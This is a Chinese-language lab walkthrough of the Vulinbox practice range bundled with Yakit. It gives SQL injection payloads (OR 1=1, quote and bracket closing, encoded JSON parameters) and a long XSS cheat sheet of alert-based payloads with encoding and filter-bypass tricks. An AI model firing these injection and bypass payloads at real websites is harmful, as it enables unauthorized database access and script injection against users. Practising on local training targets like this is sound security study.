一天一靶场系列之Vulinbox靶场(SQL与XSS)

最后更新于 2025-10-22 267 次阅读


0x00 | 前言

最近前端渗透有所渐忘,刚好最近在熟悉Yakit工具使用

那今天以Yakit自带的靶场为例

技术要点

环境 win11 本地Yakit部署 具体不多说 使用自带浏览器

http://127.0.0.1:8787/

0x01 | SQLi: Query Weaponization

「将 SELECT 语句化为利刃,穿透数据库的信任边界」

SQL语法基础知识

在具体看这两个位置以前,先来了解一下SQL的语法顺序以及执行顺序

SQL语法顺序

平常书写SQL语句就是按照下面的语法顺序来书写的。

select[distinct]
from
join(如 left join)
on
where
group by
having
union
order by
limit

SQL的执行顺序

但是语法顺序并不是SQL的执行顺序,SQL在执行的过程中是按照下面的顺序来执行的。

(1)from
(2)on
(3)join
(4)where
(5)group by:group by 子句将数据划分为多个分组;
(6)sum,count,max,min,avg:聚合函数
(7)having:使用 having 子句筛选分组
(8)select:选择需要的列
(9)distinct(去重):对结果进行去重操作
(9)union:将多个查询结合联合,会重复上面的步骤
(10)order by:对结果进行排序
(11)limit:返回的条数

序列一 ID 为数字型的简单边界 SQL注入

get注入 /user/id?id=1

攻击语句 /user/id?id=1+OR+1%3D1 (注意编码)


序列二 JSONSQL注入

题目

url解码 {"uid":1,"id":"1"}

构造语句加编码


序列三 GET参数是被编码的JSON,JSON中字段存在SQL注入

一看就像base64 -->解码

构造语句加编码


序列四 ID 为数字型的简单边界SQL报错检测

攻击语句 user/id-error?id=1%20or%201=1


序列五 Cookie-ID SQL注入

get 没有带参数 但是cookie带id参数 语句 ID=1 or 1=1


序列六 字符串为注入点的 SQL注入

与前面不同的是这里根据名字查询,前面根据id查询 同样构造语法

/user/name?name=admin' or 1=1 -- 注意编码和字符闭合 字符串与数字是不同类型的


序列七 字符串注入点模糊查询

查询名字包含a的用户

同样不多说 name=a%27%20OR%20%271%27=%271%27%20--&debug=1


序列八 字符串注入点模糊查询(括号边界)

报错看出来要多加 ) 进行闭合


序列九 参数编码字符串注入点模糊查询(括号边界)

与上面类似 不多说


序列十 Base64 参数(JSON)嵌套字符串注入点模糊查询(括号边界)

与上面类似 不多说


序列十一 LIMIT(语句结尾)注入案例

利用 1=1 和1=0进行测试

可以验证漏洞存在


序列十二 ORDER注入:单个条件排序位于 LIMIT 之前

0x02 | 无声的越界:从字符到代码执行的降维

「一个未转义的尖括号,足以撕裂前端的信任屏障」

XSS语法

XSS(跨站脚本攻击)是一种常见的Web安全漏洞,攻击者通过在网页中注入恶意脚本,使得这些脚本在用户浏览网页时执行。以下是一些常见的XSS攻击语法和绕过方法。

常见标签和语句

<a> 标签

<a href="javascript:alert(1)">test</a>

<a href="x" onfocus="alert('xss');" autofocus="">xss</a>

<a href="x" onclick=eval("alert('xss');")>xss</a>

<a href="x" onmouseover="alert('xss');">xss</a>

<a href="x" onmouseout="alert('xss');">xss</a>

<img> 标签

<img src=x onerror="alert(1)">

<img src=x onerror=eval("alert(1)")>

<img src=1 onmouseover="alert('xss');">

<img src=1 onmouseout="alert('xss');">

<img src=1 onclick="alert('xss');">

<iframe> 标签

<iframe src="javascript:alert(1)">test</iframe>

<iframe onload="alert(document.cookie)"></iframe>

<iframe onload="alert('xss');"></iframe>

<iframe onmouseover="alert('xss');"></iframe>

<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></iframe>

<script> 标签

<script>alert('xss')</script>

<script>alert(/xss/)</script>

<script>alert(123)</script>

绕过方法

HTML实体编码

当可控点为单个标签属性时,可以使用HTML实体编码。

<a href="javascript:alert(1)">test</a>

URL编码

当注入点存在href或者src属性时,可以使用URL编码。

<a href="javascript:%61%6c%65%72%74%28%31%29">test</a>

<iframe src="javascript:%61%6c%65%72%74%28%31%29">test</iframe>

JS编码

解析的时候字符或者字符串仅会被解码为字符串文本或者标识符名称。

<img src=x onerror="\\u0061\\u006c\\u0065\\u0072\\u0074(1)">

<input onfocus=location="javascript:\\u0061\\u006C\\u0065\\u0072\\u0074\\u0028\\u0031\\u0029" autofocus>

Base64编码

Base64编码通常需要使用到data伪协议。

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></object>

<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></iframe>

ASCII编码

ASCII编码一般配合String.fromCharCode使用。

<a href='javascript:eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))'>test</a>

空格过滤绕过

<html><img AA src AA onerror BB = BB alert CC (1) DD </html>

反引号替换

<script>alert`1`</script>

函数拼接

<img src="x" onerror="eval('al'+'ert(1)')">

<img src="x" onerror="top['al'+'ert'](1)">

<img src="x" onerror="window['al'+'ert'](1)">


序列一 直接拼接导致 XSS 注入

语法


序列二 不安全的过滤导致 XSS

可见增加了过滤,试试其他语法或者多写


序列三 XSS: 存在于 JS 代码中(字符串中)

此处要进行闭合

其中</script>闭合前面自带的<script>


序列四 XSS: 存在于 JS 代码中(字符串中2)

在 HTML 中,//是 JavaScript 代码中的注释符号。HTML 本身并没有//这个特殊的符号含义,但在 HTML 的<script>标签中嵌入的 JavaScript 代码中,//用于表示单行注释。任何位于//之后的内容都会被视为注释,不会被 JavaScript 解释执行


序列五 存在于 JS 代码中(字符串模版中)


序列六 输出存在于 HTML 节点 on...属性中

on属性是由用户传入的-->恶意参数

此时点击图片可触发xss


序列七 输出存在于 HTML 不在节点 on...属性中

这里用户传入的参数不在onclick处,在alt处-->构造恶意参数-->onmouseover

可以看见与上面在alt属性不同,此时可以尝试闭合,添加onmouseover属性

//用来注释后面


序列八 进阶 1:输出存在于 HTML 节点属性中,但是不再 on 属性中(IMG ALT)

与上面类似

注意,这里有一个细节 alert的()里面为数字,不能为字母如alert(111) 如果为字母的话会报错

并且,如果用'闭合的话 也会报错 因为前面的'会变成" --> 我也懵

" 不行

'aaa"不行


序列九 进阶 2:输出存在于 HTML 节点属性中,但是不再 on 属性中(IMG ALT)

base64 与上面差不多


序列十 输出存在于 HTML 节点属性中,但是不再 on 属性中(IMG SRC)

此处用户传入的参数影响src -->构造onerror


序列十一 输出存在于 HTML 节点属性中,但是不再 on 属性中(HREF)

此处用户传入参数影响href-->构造nomouseover


序列十二 输出存在于HTML节点属性中,但是不再on属性中(IMG SRC)

不多讲,简单

序列十三 script 标签的某些属性中

依旧是看传入参数

此时 HTML 5 中指定不执行由 innerHTML 插入的<script>标签

但是可以利用 img 中的 onerror 来达到触发的效果

<img src=x onerror="alert(123)">


序列十四 Cookie 中的 XSS

当用户访问带有恶意 Cookie 的页面时,恶意代码会在用户的浏览器上下文中执行

还是闭合加构造